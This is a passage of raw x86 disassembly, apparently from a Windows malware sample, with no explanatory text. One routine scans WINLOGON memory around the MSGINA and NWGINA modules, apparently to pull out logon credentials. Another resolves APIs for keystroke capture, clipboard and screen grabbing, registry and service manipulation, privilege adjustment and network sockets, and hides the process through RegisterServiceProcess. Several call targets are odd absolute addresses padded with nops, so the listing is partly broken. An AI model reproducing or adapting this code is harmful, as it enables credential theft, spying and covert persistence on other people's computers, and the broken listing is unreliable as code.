loc_4091EA:				; CODE XREF: sub_409037+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25E02EAh
		nop
		pop	edi
		pop	esi
sub_409037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409209	proc near		; CODE XREF: sub_409037+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4240EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_43F314
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 26E0000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_43F314
		test	eax, eax
		jnz	short loc_4092F6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4092F6


loc_409292:				; CODE XREF: sub_409209+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E9
		push	0
		push	0
		call	dword_43F308
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_43F518
		test	eax, eax
		jnz	short loc_4092DA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40930E


loc_4092DA:				; CODE XREF: sub_409209+AAj
		test	edi, edi
		jz	short loc_4092E5
		push	edi
		call	dword_43F310


loc_4092E5:				; CODE XREF: sub_409209+D3j
		mov	eax, [esp+28h+var_10]


loc_4092E9:				; CODE XREF: sub_409209+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409292


loc_4092F6:				; CODE XREF: sub_409209+6Dj
					; sub_409209+7Aj ...
		xor	edi, edi


loc_4092F8:				; CODE XREF: sub_409209+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 26E0000h
		nop
		mov	eax, edi


loc_409306:				; CODE XREF: sub_409209+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_40930E:				; CODE XREF: sub_409209+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409377
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_409324:				; CODE XREF: sub_409209+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409369
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_409369:				; CODE XREF: sub_409209+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409324


loc_409377:				; CODE XREF: sub_409209+10Fj
		test	edi, edi
		jz	short loc_409382
		push	edi
		call	dword_43F310


loc_409382:				; CODE XREF: sub_409209+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F8
; ---------------------------------------------------------------------------


loc_40938B:				; CODE XREF: sub_409209+13Cj
		xor	eax, eax
		jmp	loc_409306
sub_409209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409392	proc near		; CODE XREF: sub_409037+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2700537h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093BB
		xor	eax, eax
		jmp	loc_409536
; ---------------------------------------------------------------------------


loc_4093BB:				; CODE XREF: sub_409392+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 2700000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4240EC
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4240F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_40940B
		xor	esi, esi
		jmp	loc_409529
; ---------------------------------------------------------------------------


loc_40940B:				; CODE XREF: sub_409392+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 26F0A4Dh
		test	eax, eax
		jz	loc_409518
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409518
		test	[ebp+var_2B], 1
		jnz	loc_409518
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_409518


loc_40946E:				; CODE XREF: sub_409392+112j
		push	edi
		push	offset dword_43E308
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409496
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43EB08
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A6


loc_409496:				; CODE XREF: sub_409392+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409518
		jmp	short loc_40946E
; ---------------------------------------------------------------------------


loc_4094A6:				; CODE XREF: sub_409392+102j
		test	edi, edi
		jz	short loc_409518
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2680631h
		test	eax, eax
		jz	short loc_4094E1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2680000h
		nop
		test	eax, eax
		jz	short loc_4094E1
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4094E1:				; CODE XREF: sub_409392+12Bj
					; sub_409392+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_43F52C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_43F524, eax
		mov	dword_43F528, edi


loc_409518:				; CODE XREF: sub_409392+90j
					; sub_409392+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 26E0000h
		mov	esi, [ebp+var_10]


loc_409529:				; CODE XREF: sub_409392+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2611A31h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_409536:				; CODE XREF: sub_409392+24j
		pop	esi
		leave
		retn
sub_409392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409539	proc near		; CODE XREF: sub_409037:loc_40912Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2700537h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40962B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 2700000h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409622
		mov	edi, dword_4240EC


loc_409584:				; CODE XREF: sub_409539+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0A4Dh
		test	eax, eax
		jz	short loc_409610
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409616
		test	[ebp+var_13], 1
		jnz	short loc_409616
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 26F0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0C77h
		test	eax, eax
		jz	short loc_409602
		push	offset dword_43E308
		push	esi
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409602
		lea	eax, [esi+400h]
		push	offset dword_43EB08
		push	eax
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409632


loc_409602:				; CODE XREF: sub_409539+9Fj
					; sub_409539+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 26E0000h
		nop
		jmp	short loc_409616
; ---------------------------------------------------------------------------


loc_409610:				; CODE XREF: sub_409539+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_409616:				; CODE XREF: sub_409539+71j
					; sub_409539+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_409584


loc_409622:				; CODE XREF: sub_409539+3Fj
		push	[ebp+arg_0]
		call	near ptr 2611A31h
		nop


loc_40962B:				; CODE XREF: sub_409539+1Ej
		xor	eax, eax


loc_40962D:				; CODE XREF: sub_409539+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409632:				; CODE XREF: sub_409539+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_43F524, ebx
		mov	dword_43F528, eax
		cmp	[eax], cl
		jnz	short loc_409654
		cmp	[eax+1], cl
		jz	short loc_40965C


loc_409654:				; CODE XREF: sub_409539+114j
					; sub_409539+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409654


loc_40965C:				; CODE XREF: sub_409539+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2611A31h
		push	1
		pop	eax
		jmp	short loc_40962D
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966F	proc near		; CODE XREF: sub_409037+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_43F520
		push	esi
		mov	esi, dword_4240EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 26F0000h
		mov	ecx, dword_43F520
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_43F528
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_43F52C
		push	eax
		call	dword_43F30C
		push	[ebp+var_4]
		mov	edi, offset dword_43F318
		push	offset dword_43E308
		push	offset dword_43EB08
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	200h
		push	edi
		call	sub_41782A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 26E0000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409706	proc near		; CODE XREF: sub_409037:loc_409173p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_43F520
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 26F09F8h
		push	eax
		nop
		call	near ptr 26F0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43EB08
		mov	edi, 200h
		mov	esi, offset dword_43E108


loc_40974C:				; CODE XREF: sub_409706+FAj
		mov	eax, dword_43F520
		add	eax, eax
		push	eax
		push	dword_43F528
		push	[ebp+var_14]
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_43F30C
		mov	eax, dword_43F520
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097C1


loc_409789:				; CODE XREF: sub_409706+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097AD
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097AD
		cmp	dl, 20h
		jnb	short loc_4097A7
		and	[ebp+var_8], 0


loc_4097A7:				; CODE XREF: sub_409706+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097B1


loc_4097AD:				; CODE XREF: sub_409706+90j
					; sub_409706+96j
		and	[ebp+var_8], 0


loc_4097B1:				; CODE XREF: sub_409706+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409789
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE


loc_4097C1:				; CODE XREF: sub_409706+81j
		push	[ebp+var_14]
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 1Ch
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------


loc_4097DE:				; CODE XREF: sub_409706+87j
					; sub_409706+B9j
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CE2C
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 18h


loc_4097F6:				; CODE XREF: sub_409706+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_40974C
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 26F09F8h
		push	eax
		call	near ptr 26E0000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: ___:0040E6F1p
		push	ebx
		push	ebp
		mov	ebp, dword_424100
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4240DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43F714, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43F688, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43F66C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43F588, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43F534, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43F564, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43F5D8, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43F6C8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43F724, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43F594, eax
		call	esi
		cmp	dword_43F714, ebx
		mov	dword_43F57C, eax
		jz	short loc_40991D
		cmp	dword_43F688, ebx
		jz	short loc_40991D
		cmp	dword_43F66C, ebx
		jz	short loc_40991D
		cmp	dword_43F588, ebx
		jz	short loc_40991D
		cmp	dword_43F564, ebx
		jz	short loc_40991D
		cmp	dword_43F5D8, ebx
		jz	short loc_40991D
		cmp	dword_43F6C8, ebx
		jz	short loc_40991D
		cmp	dword_43F724, ebx
		jz	short loc_40991D
		cmp	dword_43F594, ebx
		jz	short loc_40991D
		cmp	eax, ebx
		jnz	short loc_409927


loc_40991D:				; CODE XREF: sub_40981F+B8j
					; sub_40981F+C0j ...
		mov	dword_43F728, 1


loc_409927:				; CODE XREF: sub_40981F+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43F6A0, eax
		jz	short loc_409954
		push	1
		push	ebx
		call	eax
		jmp	short loc_409954
; ---------------------------------------------------------------------------


loc_40993F:				; CODE XREF: sub_40981F+1Dj
		call	near ptr 2630313h
		nop
		mov	dword_43F72C, eax
		mov	dword_43F728, 1


loc_409954:				; CODE XREF: sub_40981F+117j
					; sub_40981F+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26D0C95h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A69
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43F6C4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43F674, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43F608, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43F718, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43F638, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43F658, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43F6BC, eax
		call	esi
		cmp	dword_43F6C4, ebx
		mov	dword_43F5B0, eax
		jz	short loc_409A0D
		cmp	dword_43F674, ebx
		jz	short loc_409A0D
		cmp	dword_43F608, ebx
		jz	short loc_409A0D
		cmp	dword_43F718, ebx
		jz	short loc_409A0D
		cmp	dword_43F638, ebx
		jz	short loc_409A0D
		cmp	dword_43F658, ebx
		jz	short loc_409A0D
		cmp	dword_43F6BC, ebx
		jz	short loc_409A0D
		cmp	eax, ebx
		jnz	short loc_409A17


loc_409A0D:				; CODE XREF: sub_40981F+1B8j
					; sub_40981F+1C0j ...
		mov	dword_43F730, 1


loc_409A17:				; CODE XREF: sub_40981F+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43F634, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43F548, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43F604, eax
		call	esi
		cmp	dword_43F634, ebx
		mov	dword_43F5F0, eax
		jz	short loc_409A74
		cmp	dword_43F548, ebx
		jz	short loc_409A74
		cmp	dword_43F604, ebx
		jz	short loc_409A74
		cmp	eax, ebx
		jnz	short loc_409A7E
		jmp	short loc_409A74
; ---------------------------------------------------------------------------


loc_409A69:				; CODE XREF: sub_40981F+144j
		nop
		call	near ptr 2630313h
		mov	dword_43F734, eax


loc_409A74:				; CODE XREF: sub_40981F+232j
					; sub_40981F+23Aj ...
		mov	dword_43F730, 1


loc_409A7E:				; CODE XREF: sub_40981F+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C19
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43F6D8, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43F61C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43F68C, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43F574, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43F5D4, eax
		call	esi
		cmp	dword_43F6D8, ebx
		mov	dword_43F644, eax
		jz	short loc_409B09
		cmp	dword_43F61C, ebx
		jz	short loc_409B09
		cmp	dword_43F68C, ebx
		jz	short loc_409B09
		cmp	dword_43F574, ebx
		jz	short loc_409B09
		cmp	dword_43F5D4, ebx
		jz	short loc_409B09
		cmp	eax, ebx
		jnz	short loc_409B13


loc_409B09:				; CODE XREF: sub_40981F+2C4j
					; sub_40981F+2CCj ...
		mov	dword_43F738, 1


loc_409B13:				; CODE XREF: sub_40981F+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43F64C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43F624, eax
		call	esi
		cmp	dword_43F64C, ebx
		mov	dword_43F6D4, eax
		jz	short loc_409B4E
		cmp	dword_43F624, ebx
		jz	short loc_409B4E
		cmp	eax, ebx
		jnz	short loc_409B58


loc_409B4E:				; CODE XREF: sub_40981F+321j
					; sub_40981F+329j
		mov	dword_43F738, 1


loc_409B58:				; CODE XREF: sub_40981F+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43F65C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43F550, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43F558, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43F5B8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43F5BC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43F56C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43F628, eax
		call	esi
		cmp	dword_43F65C, ebx
		mov	dword_43F55C, eax
		jz	short loc_409BFC
		cmp	dword_43F550, ebx
		jz	short loc_409BFC
		cmp	dword_43F558, ebx
		jz	short loc_409BFC
		cmp	dword_43F5B8, ebx
		jz	short loc_409BFC
		cmp	dword_43F5BC, ebx
		jz	short loc_409BFC
		cmp	dword_43F56C, ebx
		jz	short loc_409BFC
		cmp	dword_43F628, ebx
		jz	short loc_409BFC
		cmp	eax, ebx
		jnz	short loc_409C06


loc_409BFC:				; CODE XREF: sub_40981F+3A7j
					; sub_40981F+3AFj ...
		mov	dword_43F738, 1


loc_409C06:				; CODE XREF: sub_40981F+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43F554, eax
		jnz	short loc_409C2E
		jmp	short loc_409C24
; ---------------------------------------------------------------------------


loc_409C19:				; CODE XREF: sub_40981F+26Aj
		nop
		call	near ptr 2630313h
		mov	dword_43F73C, eax


loc_409C24:				; CODE XREF: sub_40981F+3F8j
		mov	dword_43F738, 1


loc_409C2E:				; CODE XREF: sub_40981F+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43F654, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43F6AC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43F6B4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43F670, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43F598, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43F544, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43F6B0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43F530, eax
		call	esi
		cmp	dword_43F654, ebx
		mov	dword_43F5CC, eax
		jz	short loc_409D05
		cmp	dword_43F6AC, ebx
		jz	short loc_409D05
		cmp	dword_43F6B4, ebx
		jz	short loc_409D05
		cmp	dword_43F670, ebx
		jz	short loc_409D05
		cmp	dword_43F598, ebx
		jz	short loc_409D05
		cmp	dword_43F544, ebx
		jz	short loc_409D05
		cmp	dword_43F6B0, ebx
		jz	short loc_409D05
		cmp	dword_43F530, ebx
		jz	short loc_409D05
		cmp	eax, ebx
		jnz	short loc_409D0F
		jmp	short loc_409D05
; ---------------------------------------------------------------------------


loc_409CFA:				; CODE XREF: sub_40981F+41Aj
		call	near ptr 2630313h
		nop
		mov	dword_43F744, eax


loc_409D05:				; CODE XREF: sub_40981F+49Bj
					; sub_40981F+4A3j ...
		mov	dword_43F740, 1


loc_409D0F:				; CODE XREF: sub_40981F+4D7j
		mov	ebp, dword_4240E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FCB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43F5E0, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43F70C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43F584, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43F560, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43F614, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43F5FC, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43F5C8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43F6E8, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43F704, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43F610, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43F6F4, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43F6A8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43F668, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43F664, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
